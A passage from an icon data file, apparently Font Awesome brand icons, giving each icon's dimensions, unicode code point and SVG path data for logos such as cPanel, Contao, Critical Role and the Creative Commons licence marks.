	"connectdevelop": [576, 512, [], "f20e", "M550.5 241l-50.089-86.786c1.071-2.142 1.875-4.553 1.875-7.232 0-8.036-6.696-14.733-14.732-15.001l-55.447-95.893c.536-1.607 1.071-3.214 1.071-4.821 0-8.571-6.964-15.268-15.268-15.268-4.821 0-8.839 2.143-11.786 5.625H299.518C296.839 18.143 292.821 16 288 16s-8.839 2.143-11.518 5.625H170.411C167.464 18.143 163.447 16 158.625 16c-8.303 0-15.268 6.696-15.268 15.268 0 1.607.536 3.482 1.072 4.821l-55.983 97.233c-5.356 2.41-9.107 7.5-9.107 13.661 0 .535.268 1.071.268 1.607l-53.304 92.143c-7.232 1.339-12.59 7.5-12.59 15 0 7.232 5.089 13.393 12.054 15l55.179 95.358c-.536 1.607-.804 2.946-.804 4.821 0 7.232 5.089 13.393 12.054 14.732l51.697 89.732c-.536 1.607-1.071 3.482-1.071 5.357 0 8.571 6.964 15.268 15.268 15.268 4.821 0 8.839-2.143 11.518-5.357h106.875C279.161 493.857 283.447 496 288 496s8.839-2.143 11.518-5.357h107.143c2.678 2.946 6.696 4.821 10.982 4.821 8.571 0 15.268-6.964 15.268-15.268 0-1.607-.267-2.946-.803-4.285l51.697-90.268c6.964-1.339 12.054-7.5 12.054-14.732 0-1.607-.268-3.214-.804-4.821l54.911-95.358c6.964-1.339 12.322-7.5 12.322-15-.002-7.232-5.092-13.393-11.788-14.732zM153.535 450.732l-43.66-75.803h43.66v75.803zm0-83.839h-43.66c-.268-1.071-.804-2.142-1.339-3.214l44.999-47.41v50.624zm0-62.411l-50.357 53.304c-1.339-.536-2.679-1.34-4.018-1.607L43.447 259.75c.535-1.339.535-2.679.535-4.018s0-2.41-.268-3.482l51.965-90c2.679-.268 5.357-1.072 7.768-2.679l50.089 51.965v92.946zm0-102.322l-45.803-47.41c1.339-2.143 2.143-4.821 2.143-7.767 0-.268-.268-.804-.268-1.072l43.928-15.804v72.053zm0-80.625l-43.66 15.804 43.66-75.536v59.732zm326.519 39.108l.804 1.339L445.5 329.125l-63.75-67.232 98.036-101.518.268.268zM291.75 355.107l11.518 11.786H280.5l11.25-11.786zm-.268-11.25l-83.303-85.446 79.553-84.375 83.036 87.589-79.286 82.232zm5.357 5.893l79.286-82.232 67.5 71.25-5.892 28.125H313.714l-16.875-17.143zM410.411 44.393c1.071.536 2.142 1.072 3.482 1.34l57.857 100.714v.536c0 2.946.803 5.624 2.143 7.767L376.393 256l-83.035-87.589L410.411 44.393zm-9.107-2.143L287.732 162.518l-57.054-60.268 166.339-60h4.287zm-123.483 0c2.678 2.678 6.16 4.285 10.179 4.285s7.5-1.607 10.179-4.285h75L224.786 95.821 173.893 42.25h103.928zm-116.249 5.625l1.071-2.142a33.834 33.834 0 0 0 2.679-.804l51.161 53.84-54.911 19.821V47.875zm0 79.286l60.803-21.964 59.732 63.214-79.553 84.107-40.982-42.053v-83.304zm0 92.678L198 257.607l-36.428 38.304v-76.072zm0 87.858l42.053-44.464 82.768 85.982-17.143 17.678H161.572v-59.196zm6.964 162.053c-1.607-1.607-3.482-2.678-5.893-3.482l-1.071-1.607v-89.732h99.91l-91.607 94.821h-1.339zm129.911 0c-2.679-2.41-6.428-4.285-10.447-4.285s-7.767 1.875-10.447 4.285h-96.429l91.607-94.821h38.304l91.607 94.821H298.447zm120-11.786l-4.286 7.5c-1.339.268-2.41.803-3.482 1.339l-89.196-91.875h114.376l-17.412 83.036zm12.856-22.232l12.858-60.803h21.964l-34.822 60.803zm34.822-68.839h-20.357l4.553-21.16 17.143 18.214c-.535.803-1.071 1.874-1.339 2.946zm66.161-107.411l-55.447 96.697c-1.339.535-2.679 1.071-4.018 1.874l-20.625-21.964 34.554-163.928 45.803 79.286c-.267 1.339-.803 2.678-.803 4.285 0 1.339.268 2.411.536 3.75z"],
	"contao": [512, 512, [], "f26d", "M45.4 305c14.4 67.1 26.4 129 68.2 175H34c-18.7 0-34-15.2-34-34V66c0-18.7 15.2-34 34-34h57.7C77.9 44.6 65.6 59.2 54.8 75.6c-45.4 70-27 146.8-9.4 229.4zM478 32h-90.2c21.4 21.4 39.2 49.5 52.7 84.1l-137.1 29.3c-14.9-29-37.8-53.3-82.6-43.9-24.6 5.3-41 19.3-48.3 34.6-8.8 18.7-13.2 39.8 8.2 140.3 21.1 100.2 33.7 117.7 49.5 131.2 12.9 11.1 33.4 17 58.3 11.7 44.5-9.4 55.7-40.7 57.4-73.2l137.4-29.6c3.2 71.5-18.7 125.2-57.4 163.6H478c18.7 0 34-15.2 34-34V66c0-18.8-15.2-34-34-34z"],
	"cotton-bureau": [512, 512, [], "f89e", "M474.31 330.41c-23.66 91.85-94.23 144.59-201.9 148.35V429.6c0-48 26.41-74.39 74.39-74.39 62 0 99.2-37.2 99.2-99.21 0-61.37-36.53-98.28-97.38-99.06-33-69.32-146.5-64.65-177.24 0C110.52 157.72 74 194.63 74 256c0 62.13 37.27 99.41 99.4 99.41 48 0 74.55 26.23 74.55 74.39V479c-134.43-5-211.1-85.07-211.1-223 0-141.82 81.35-223.2 223.2-223.2 114.77 0 189.84 53.2 214.69 148.81H500C473.88 71.51 388.22 8 259.82 8 105 8 12 101.19 12 255.82 12 411.14 105.19 504.34 259.82 504c128.27 0 213.87-63.81 239.67-173.59zM357 182.33c41.37 3.45 64.2 29 64.2 73.67 0 48-26.43 74.41-74.4 74.41-28.61 0-49.33-9.59-61.59-27.33 83.06-16.55 75.59-99.67 71.79-120.75zm-81.68 97.36c-2.46-10.34-16.33-87 56.23-97 2.27 10.09 16.52 87.11-56.26 97zM260 132c28.61 0 49 9.67 61.44 27.61-28.36 5.48-49.36 20.59-61.59 43.45-12.23-22.86-33.23-38-61.6-43.45 12.41-17.69 33.27-27.35 61.57-27.35zm-71.52 50.72c73.17 10.57 58.91 86.81 56.49 97-72.41-9.84-59-86.95-56.25-97zM173.2 330.41c-48 0-74.4-26.4-74.4-74.41 0-44.36 22.86-70 64.22-73.67-6.75 37.2-1.38 106.53 71.65 120.75-12.14 17.63-32.84 27.3-61.14 27.3zm53.21 12.39A80.8 80.8 0 0 0 260 309.25c7.77 14.49 19.33 25.54 33.82 33.55a80.28 80.28 0 0 0-33.58 33.83c-8-14.5-19.07-26.23-33.56-33.83z"],
	"cpanel": [640, 512, [], "f388", "M210.3 220.2c-5.6-24.8-26.9-41.2-51-41.2h-37c-7.1 0-12.5 4.5-14.3 10.9L73.1 320l24.7-.1c6.8 0 12.3-4.5 14.2-10.7l25.8-95.7h19.8c8.4 0 16.2 5.6 18.3 14.8 2.5 10.9-5.9 22.6-18.3 22.6h-10.3c-7 0-12.5 4.6-14.3 10.8l-6.4 23.8h32c37.2 0 58.3-36.2 51.7-65.3zm-156.5 28h18.6c6.9 0 12.4-4.4 14.3-10.9l6.2-23.6h-40C30 213.7 9 227.8 1.7 254.8-7 288.6 18.5 320 52 320h12.4l7.1-26.1c1.2-4.4-2.2-8.3-6.4-8.3H53.8c-24.7 0-24.9-37.4 0-37.4zm247.5-34.8h-77.9l-3.5 13.4c-2.4 9.6 4.5 18.5 14.2 18.5h57.5c4 0 2.4 4.3 2.1 5.3l-8.6 31.8c-.4 1.4-.9 5.3-5.5 5.3h-34.9c-5.3 0-5.3-7.9 0-7.9h21.6c6.8 0 12.3-4.6 14.2-10.8l3.5-13.2h-48.4c-39.2 0-43.6 63.8-.7 63.8l57.5.2c11.2 0 20.6-7.2 23.4-17.8l14-51.8c4.8-19.2-9.7-36.8-28.5-36.8zM633.1 179h-18.9c-4.9 0-9.2 3.2-10.4 7.9L568.2 320c20.7 0 39.8-13.8 44.9-34.5l26.5-98.2c1.2-4.3-2-8.3-6.5-8.3zm-236.3 34.7v.1h-48.3l-26.2 98c-1.2 4.4 2.2 8.3 6.4 8.3h18.9c4.8 0 9.2-3 10.4-7.8l17.2-64H395c12.5 0 21.4 11.8 18.1 23.4l-10.6 40c-1.2 4.3 1.9 8.3 6.4 8.3H428c4.6 0 9.1-2.9 10.3-7.8l8.8-33.1c9-33.1-15.9-65.4-50.3-65.4zm98.3 74.6c-3.6 0-6-3.4-5.1-6.7l8-30c.9-3.9 3.7-6 7.8-6h32.9c2.6 0 4.6 2.4 3.9 5.1l-.7 2.6c-.6 2-1.9 3-3.9 3h-21.6c-7 0-12.6 4.6-14.2 10.8l-3.5 13h53.4c10.5 0 20.3-6.6 23.2-17.6l3.2-12c4.9-19.1-9.3-36.8-28.3-36.8h-47.3c-17.9 0-33.8 12-38.6 29.6l-10.8 40c-5 17.7 8.3 36.7 28.3 36.7h66.7c6.8 0 12.3-4.5 14.2-10.7l5.7-21z"],
	"creative-commons": [496, 512, [], "f25e", "M245.83 214.87l-33.22 17.28c-9.43-19.58-25.24-19.93-27.46-19.93-22.13 0-33.22 14.61-33.22 43.84 0 23.57 9.21 43.84 33.22 43.84 14.47 0 24.65-7.09 30.57-21.26l30.55 15.5c-6.17 11.51-25.69 38.98-65.1 38.98-22.6 0-73.96-10.32-73.96-77.05 0-58.69 43-77.06 72.63-77.06 30.72-.01 52.7 11.95 65.99 35.86zm143.05 0l-32.78 17.28c-9.5-19.77-25.72-19.93-27.9-19.93-22.14 0-33.22 14.61-33.22 43.84 0 23.55 9.23 43.84 33.22 43.84 14.45 0 24.65-7.09 30.54-21.26l31 15.5c-2.1 3.75-21.39 38.98-65.09 38.98-22.69 0-73.96-9.87-73.96-77.05 0-58.67 42.97-77.06 72.63-77.06 30.71-.01 52.58 11.95 65.56 35.86zM247.56 8.05C104.74 8.05 0 123.11 0 256.05c0 138.49 113.6 248 247.56 248 129.93 0 248.44-100.87 248.44-248 0-137.87-106.62-248-248.44-248zm.87 450.81c-112.54 0-203.7-93.04-203.7-202.81 0-105.42 85.43-203.27 203.72-203.27 112.53 0 202.82 89.46 202.82 203.26-.01 121.69-99.68 202.82-202.84 202.82z"],
	"creative-commons-by": [496, 512, [], "f4e7", "M314.9 194.4v101.4h-28.3v120.5h-77.1V295.9h-28.3V194.4c0-4.4 1.6-8.2 4.6-11.3 3.1-3.1 6.9-4.7 11.3-4.7H299c4.1 0 7.8 1.6 11.1 4.7 3.1 3.2 4.8 6.9 4.8 11.3zm-101.5-63.7c0-23.3 11.5-35 34.5-35s34.5 11.7 34.5 35c0 23-11.5 34.5-34.5 34.5s-34.5-11.5-34.5-34.5zM247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3z"],
	"creative-commons-nc": [496, 512, [], "f4e8", "M247.6 8C387.4 8 496 115.9 496 256c0 147.2-118.5 248-248.4 248C113.1 504 0 393.2 0 256 0 123.1 104.7 8 247.6 8zM55.8 189.1c-7.4 20.4-11.1 42.7-11.1 66.9 0 110.9 92.1 202.4 203.7 202.4 122.4 0 177.2-101.8 178.5-104.1l-93.4-41.6c-7.7 37.1-41.2 53-68.2 55.4v38.1h-28.8V368c-27.5-.3-52.6-10.2-75.3-29.7l34.1-34.5c31.7 29.4 86.4 31.8 86.4-2.2 0-6.2-2.2-11.2-6.6-15.1-14.2-6-1.8-.1-219.3-97.4zM248.4 52.3c-38.4 0-112.4 8.7-170.5 93l94.8 42.5c10-31.3 40.4-42.9 63.8-44.3v-38.1h28.8v38.1c22.7 1.2 43.4 8.9 62 23L295 199.7c-42.7-29.9-83.5-8-70 11.1 53.4 24.1 43.8 19.8 93 41.6l127.1 56.7c4.1-17.4 6.2-35.1 6.2-53.1 0-57-19.8-105-59.3-143.9-39.3-39.9-87.2-59.8-143.6-59.8z"],
	"creative-commons-nc-eu": [496, 512, [], "f4e9", "M247.7 8C103.6 8 0 124.8 0 256c0 136.3 111.7 248 247.7 248C377.9 504 496 403.1 496 256 496 117 388.4 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-23.2 3.7-45.2 10.9-66l65.7 29.1h-4.7v29.5h23.3c0 6.2-.4 3.2-.4 19.5h-22.8v29.5h27c11.4 67 67.2 101.3 124.6 101.3 26.6 0 50.6-7.9 64.8-15.8l-10-46.1c-8.7 4.6-28.2 10.8-47.3 10.8-28.2 0-58.1-10.9-67.3-50.2h90.3l128.3 56.8c-1.5 2.1-56.2 104.3-178.8 104.3zm-16.7-190.6l-.5-.4.9.4h-.4zm77.2-19.5h3.7v-29.5h-70.3l-28.6-12.6c2.5-5.5 5.4-10.5 8.8-14.3 12.9-15.8 31.1-22.4 51.1-22.4 18.3 0 35.3 5.4 46.1 10l11.6-47.3c-15-6.6-37-12.4-62.3-12.4-39 0-72.2 15.8-95.9 42.3-5.3 6.1-9.8 12.9-13.9 20.1l-81.6-36.1c64.6-96.8 157.7-93.6 170.7-93.6 113 0 203 90.2 203 203.4 0 18.7-2.1 36.3-6.3 52.9l-136.1-60.5z"],
	"creative-commons-nc-jp": [496, 512, [], "f4ea", "M247.7 8C103.6 8 0 124.8 0 256c0 136.4 111.8 248 247.7 248C377.9 504 496 403.2 496 256 496 117.2 388.5 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-21.1 3-41.2 9-60.3l127 56.5h-27.9v38.6h58.1l5.7 11.8v18.7h-63.8V360h63.8v56h61.7v-56h64.2v-35.7l81 36.1c-1.5 2.2-57.1 98.3-175.2 98.3zm87.6-137.3h-57.6v-18.7l2.9-5.6 54.7 24.3zm6.5-51.4v-17.8h-38.6l63-116H301l-43.4 96-23-10.2-39.6-85.7h-65.8l27.3 51-81.9-36.5c27.8-44.1 82.6-98.1 173.7-98.1 112.8 0 203 90 203 203.4 0 21-2.7 40.6-7.9 59l-101-45.1z"],
	"creative-commons-nd": [496, 512, [], "f4eb", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm94 144.3v42.5H162.1V197h180.3zm0 79.8v42.5H162.1v-42.5h180.3z"],
	"creative-commons-pd": [496, 512, [], "f4ec", "M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm0 449.5c-139.2 0-235.8-138-190.2-267.9l78.8 35.1c-2.1 10.5-3.3 21.5-3.3 32.9 0 99 73.9 126.9 120.4 126.9 22.9 0 53.5-6.7 79.4-29.5L297 311.1c-5.5 6.3-17.6 16.7-36.3 16.7-37.8 0-53.7-39.9-53.9-71.9 230.4 102.6 216.5 96.5 217.9 96.8-34.3 62.4-100.6 104.8-176.7 104.8zm194.2-150l-224-100c18.8-34 54.9-30.7 74.7-11l40.4-41.6c-27.1-23.3-58-27.5-78.1-27.5-47.4 0-80.9 20.5-100.7 51.6l-74.9-33.4c36.1-54.9 98.1-91.2 168.5-91.2 111.1 0 201.5 90.4 201.5 201.5 0 18-2.4 35.4-6.8 52-.3-.1-.4-.2-.6-.4z"],
	"creative-commons-pd-alt": [496, 512, [], "f4ed", "M247.6 8C104.7 8 0 123.1 0 256c0 138.5 113.6 248 247.6 248C377.5 504 496 403.1 496 256 496 118.1 389.4 8 247.6 8zm.8 450.8c-112.5 0-203.7-93-203.7-202.8 0-105.4 85.5-203.3 203.7-203.3 112.6 0 202.9 89.5 202.8 203.3 0 121.7-99.6 202.8-202.8 202.8zM316.7 186h-53.2v137.2h53.2c21.4 0 70-5.1 70-68.6 0-63.4-48.6-68.6-70-68.6zm.8 108.5h-19.9v-79.7l19.4-.1c3.8 0 35-2.1 35 39.9 0 24.6-10.5 39.9-34.5 39.9zM203.7 186h-68.2v137.3h34.6V279h27c54.1 0 57.1-37.5 57.1-46.5 0-31-16.8-46.5-50.5-46.5zm-4.9 67.3h-29.2v-41.6h28.3c30.9 0 28.8 41.6.9 41.6z"],
	"creative-commons-remix": [496, 512, [], "f4ee", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm161.7 207.7l4.9 2.2v70c-7.2 3.6-63.4 27.5-67.3 28.8-6.5-1.8-113.7-46.8-137.3-56.2l-64.2 26.6-63.3-27.5v-63.8l59.3-24.8c-.7-.7-.4 5-.4-70.4l67.3-29.7L361 178.5v61.6l49.1 20.3zm-70.4 81.5v-43.8h-.4v-1.8l-113.8-46.5V295l113.8 46.9v-.4l.4.4zm7.5-57.6l39.9-16.4-36.8-15.5-39 16.4 35.9 15.5zm52.3 38.1v-43L355.2 298v43.4l44.3-19z"],
	"creative-commons-sa": [496, 512, [], "f4ef", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zM137.7 221c13-83.9 80.5-95.7 108.9-95.7 99.8 0 127.5 82.5 127.5 134.2 0 63.6-41 132.9-128.9 132.9-38.9 0-99.1-20-109.4-97h62.5c1.5 30.1 19.6 45.2 54.5 45.2 23.3 0 58-18.2 58-82.8 0-82.5-49.1-80.6-56.7-80.6-33.1 0-51.7 14.6-55.8 43.8h18.2l-49.2 49.2-49-49.2h19.4z"],
	"creative-commons-sampling": [496, 512, [], "f4f0", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm3.6 53.2c2.8-.3 11.5 1 11.5 11.5l6.6 107.2 4.9-59.3c0-6 4.7-10.6 10.6-10.6 5.9 0 10.6 4.7 10.6 10.6 0 2.5-.5-5.7 5.7 81.5l5.8-64.2c.3-2.9 2.9-9.3 10.2-9.3 3.8 0 9.9 2.3 10.6 8.9l11.5 96.5 5.3-12.8c1.8-4.4 5.2-6.6 10.2-6.6h58v21.3h-50.9l-18.2 44.3c-3.9 9.9-19.5 9.1-20.8-3.1l-4-31.9-7.5 92.6c-.3 3-3 9.3-10.2 9.3-3 0-9.8-2.1-10.6-9.3 0-1.9.6 5.8-6.2-77.9l-5.3 72.2c-1.1 4.8-4.8 9.3-10.6 9.3-2.9 0-9.8-2-10.6-9.3 0-1.9.5 6.7-5.8-87.7l-5.8 94.8c0 6.3-3.6 12.4-10.6 12.4-5.2 0-10.6-4.1-10.6-12l-5.8-87.7c-5.8 92.5-5.3 84-5.3 85.9-1.1 4.8-4.8 9.3-10.6 9.3-3 0-9.8-2.1-10.6-9.3 0-.7-.4-1.1-.4-2.6l-6.2-88.6L182 348c-.7 6.5-6.7 9.3-10.6 9.3-5.8 0-9.6-4.1-10.6-8.9L149.7 272c-2 4-3.5 8.4-11.1 8.4H87.2v-21.3H132l13.7-27.9c4.4-9.9 18.2-7.2 19.9 2.7l3.1 20.4 8.4-97.9c0-6 4.8-10.6 10.6-10.6.5 0 10.6-.2 10.6 12.4l4.9 69.1 6.6-92.6c0-10.1 9.5-10.6 10.2-10.6.6 0 10.6.7 10.6 10.6l5.3 80.6 6.2-97.9c.1-1.1-.6-10.3 9.9-11.5z"],
	"creative-commons-sampling-plus": [496, 512, [], "f4f1", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm107 205.6c-4.7 0-9 2.8-10.7 7.2l-4 9.5-11-92.8c-1.7-13.9-22-13.4-23.1.4l-4.3 51.4-5.2-68.8c-1.1-14.3-22.1-14.2-23.2 0l-3.5 44.9-5.9-94.3c-.9-14.5-22.3-14.4-23.2 0l-5.1 83.7-4.3-66.3c-.9-14.4-22.2-14.4-23.2 0l-5.3 80.2-4.1-57c-1.1-14.3-22-14.3-23.2-.2l-7.7 89.8-1.8-12.2c-1.7-11.4-17.1-13.6-22-3.3l-13.2 27.7H87.5v23.2h51.3c4.4 0 8.4-2.5 10.4-6.4l10.7 73.1c2 13.5 21.9 13 23.1-.7l3.8-43.6 5.7 78.3c1.1 14.4 22.3 14.2 23.2-.1l4.6-70.4 4.8 73.3c.9 14.4 22.3 14.4 23.2-.1l4.9-80.5 4.5 71.8c.9 14.3 22.1 14.5 23.2.2l4.6-58.6 4.9 64.4c1.1 14.3 22 14.2 23.1.1l6.8-83 2.7 22.3c1.4 11.8 17.7 14.1 22.3 3.1l18-43.4h50.5V258l-58.4.3zm-78 5.2h-21.9v21.9c0 4.1-3.3 7.5-7.5 7.5-4.1 0-7.5-3.3-7.5-7.5v-21.9h-21.9c-4.1 0-7.5-3.3-7.5-7.5 0-4.1 3.4-7.5 7.5-7.5h21.9v-21.9c0-4.1 3.4-7.5 7.5-7.5s7.5 3.3 7.5 7.5v21.9h21.9c4.1 0 7.5 3.3 7.5 7.5 0 4.1-3.4 7.5-7.5 7.5z"],
	"creative-commons-share": [496, 512, [], "f4f2", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm101 132.4c7.8 0 13.7 6.1 13.7 13.7v182.5c0 7.7-6.1 13.7-13.7 13.7H214.3c-7.7 0-13.7-6-13.7-13.7v-54h-54c-7.8 0-13.7-6-13.7-13.7V131.1c0-8.2 6.6-12.7 12.4-13.7h136.4c7.7 0 13.7 6 13.7 13.7v54h54zM159.9 300.3h40.7V198.9c0-7.4 5.8-12.6 12-13.7h55.8v-40.3H159.9v155.4zm176.2-88.1H227.6v155.4h108.5V212.2z"],
	"creative-commons-zero": [496, 512, [], "f4f3", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm-.4 60.5c-81.9 0-102.5 77.3-102.5 142.8 0 65.5 20.6 142.8 102.5 142.8S350.5 321.5 350.5 256c0-65.5-20.6-142.8-102.5-142.8zm0 53.9c3.3 0 6.4.5 9.2 1.2 5.9 5.1 8.8 12.1 3.1 21.9l-54.5 100.2c-1.7-12.7-1.9-25.1-1.9-34.4 0-28.8 2-88.9 44.1-88.9zm40.8 46.2c2.9 15.4 3.3 31.4 3.3 42.7 0 28.9-2 88.9-44.1 88.9-13.5 0-32.6-7.7-20.1-26.4l60.9-105.2z"],
	"critical-role": [448, 512, [], "f6c9", "M225.82 0c.26.15 216.57 124.51 217.12 124.72 3 1.18 3.7 3.46 3.7 6.56q-.11 125.17 0 250.36a5.88 5.88 0 0 1-3.38 5.78c-21.37 12-207.86 118.29-218.93 124.58h-3C142 466.34 3.08 386.56 2.93 386.48a3.29 3.29 0 0 1-1.88-3.24c0-.87 0-225.94-.05-253.1a5 5 0 0 1 2.93-4.93C27.19 112.11 213.2 6 224.07 0zM215.4 20.42l-.22-.16Q118.06 75.55 21 130.87c0 .12.08.23.13.35l30.86 11.64c-7.71 6-8.32 6-10.65 5.13-.1 0-24.17-9.28-26.8-10v230.43c.88-1.41 64.07-110.91 64.13-111 1.62-2.82 3-1.92 9.12-1.52 1.4.09 1.48.22.78 1.42-41.19 71.33-36.4 63-67.48 116.94-.81 1.4-.61 1.13 1.25 1.13h186.5c1.44 0 1.69-.23 1.7-1.64v-8.88c0-1.34 2.36-.81-18.37-1-7.46-.07-14.14-3.22-21.38-12.7-7.38-9.66-14.62-19.43-21.85-29.21-2.28-3.08-3.45-2.38-16.76-2.38-1.75 0-1.78 0-1.76 1.82.29 26.21.15 25.27 1 32.66.52 4.37 2.16 4.2 9.69 4.81 3.14.26 3.88 4.08.52 4.92-1.57.39-31.6.51-33.67-.1a2.42 2.42 0 0 1 .3-4.73c3.29-.76 6.16.81 6.66-4.44 1.3-13.66 1.17-9 1.1-79.42 0-10.82-.35-12.58-5.36-13.55-1.22-.24-3.54-.16-4.69-.55-2.88-1-2-4.84 1.77-4.85 33.67 0 46.08-1.07 56.06 4.86 7.74 4.61 12 11.48 12.51 20.4.88 14.59-6.51 22.35-15 32.59a1.46 1.46 0 0 0 0 2.22c2.6 3.25 5 6.63 7.71 9.83 27.56 33.23 24.11 30.54 41.28 33.06.89.13 1-.42 1-1.15v-11c0-1 .32-1.43 1.41-1.26a72.37 72.37 0 0 0 23.58-.3c1.08-.15 1.5.2 1.48 1.33 0 .11.88 26.69.87 26.8-.05 1.52.67 1.62 1.89 1.62h186.71Q386.51 304.6 346 234.33c2.26-.66-.4 0 6.69-1.39 2-.39 2.05-.41 3.11 1.44 7.31 12.64 77.31 134 77.37 134.06V138c-1.72.5-103.3 38.72-105.76 39.68-1.08.42-1.55.2-1.91-.88-.63-1.9-1.34-3.76-2.09-5.62-.32-.79-.09-1.13.65-1.39.1 0 95.53-35.85 103-38.77-65.42-37.57-130.56-75-196-112.6l86.82 150.39-.28.33c-9.57-.9-10.46-1.6-11.8-3.94-1-1.69-73.5-127.71-82-142.16-9.1 14.67-83.56 146.21-85.37 146.32-2.93.17-5.88.08-9.25.08q43.25-74.74 86.18-149zm51.93 129.92a37.68 37.68 0 0 0 5.54-.85c1.69-.3 2.53.2 2.6 1.92 0 .11.07 19.06-.86 20.45s-1.88 1.22-2.6-.19c-5-9.69 6.22-9.66-39.12-12-.7 0-1 .23-1 .93 0 .13 3.72 122 3.73 122.11 0 .89.52 1.2 1.21 1.51a83.92 83.92 0 0 1 8.7 4.05c7.31 4.33 11.38 10.84 12.41 19.31 1.44 11.8-2.77 35.77-32.21 37.14-2.75.13-28.26 1.08-34.14-23.25-4.66-19.26 8.26-32.7 19.89-36.4a2.45 2.45 0 0 0 2-2.66c.1-5.63 3-107.1 3.71-121.35.05-1.08-.62-1.16-1.35-1.15-32.35.52-36.75-.34-40.22 8.52-2.42 6.18-4.14 1.32-3.95.23q1.59-9 3.31-18c.4-2.11 1.43-2.61 3.43-1.86 5.59 2.11 6.72 1.7 37.25 1.92 1.73 0 1.78-.08 1.82-1.85.68-27.49.58-22.59 1-29.55a2.69 2.69 0 0 0-1.63-2.8c-5.6-2.91-8.75-7.55-8.9-13.87-.35-14.81 17.72-21.67 27.38-11.51 6.84 7.19 5.8 18.91-2.45 24.15a4.35 4.35 0 0 0-2.22 4.34c0 .59-.11-4.31 1 30.05 0 .9.43 1.12 1.24 1.11.1 0 23-.09 34.47-.37zM68.27 141.7c19.84-4.51 32.68-.56 52.49 1.69 2.76.31 3.74 1.22 3.62 4-.21 5-1.16 22.33-1.24 23.15a2.65 2.65 0 0 1-1.63 2.34c-4.06 1.7-3.61-4.45-4-7.29-3.13-22.43-73.87-32.7-74.63 25.4-.31 23.92 17 53.63 54.08 50.88 27.24-2 19-20.19 24.84-20.47a2.72 2.72 0 0 1 3 3.36c-1.83 10.85-3.42 18.95-3.45 19.15-1.54 9.17-86.7 22.09-93.35-42.06-2.71-25.85 10.44-53.37 40.27-60.15zm80 87.67h-19.49a2.57 2.57 0 0 1-2.66-1.79c2.38-3.75 5.89.92 5.86-6.14-.08-25.75.21-38 .23-40.1 0-3.42-.53-4.65-3.32-4.94-7-.72-3.11-3.37-1.11-3.38 11.84-.1 22.62-.18 30.05.72 8.77 1.07 16.71 12.63 7.93 22.62-2 2.25-4 4.42-6.14 6.73.95 1.15 6.9 8.82 17.28 19.68 2.66 2.78 6.15 3.51 9.88 3.13a2.21 2.21 0 0 0 2.23-2.12c.3-3.42.26 4.73.45-40.58 0-5.65-.34-6.58-3.23-6.83-3.95-.35-4-2.26-.69-3.37l19.09-.09c.32 0 4.49.53 1 3.38 0 .05-.16 0-.24 0-3.61.26-3.94 1-4 4.62-.27 43.93.07 40.23.41 42.82.11.84.27 2.23 5.1 2.14 2.49 0 3.86 3.37 0 3.4-10.37.08-20.74 0-31.11.07-10.67 0-13.47-6.2-24.21-20.82-1.6-2.18-8.31-2.36-8.2-.37.88 16.47 0 17.78 4 17.67 4.75-.1 4.73 3.57.83 3.55zm275-10.15c-1.21 7.13.17 10.38-5.3 10.34-61.55-.42-47.82-.22-50.72-.31a18.4 18.4 0 0 1-3.63-.73c-2.53-.6 1.48-1.23-.38-5.6-1.43-3.37-2.78-6.78-4.11-10.19a1.94 1.94 0 0 0-2-1.44 138 138 0 0 0-14.58.07 2.23 2.23 0 0 0-1.62 1.06c-1.58 3.62-3.07 7.29-4.51 11-1.27 3.23 7.86 1.32 12.19 2.16 3 .57 4.53 3.72.66 3.73H322.9c-2.92 0-3.09-3.15-.74-3.21a6.3 6.3 0 0 0 5.92-3.47c1.5-3 2.8-6 4.11-9.09 18.18-42.14 17.06-40.17 18.42-41.61a1.83 1.83 0 0 1 3 0c2.93 3.34 18.4 44.71 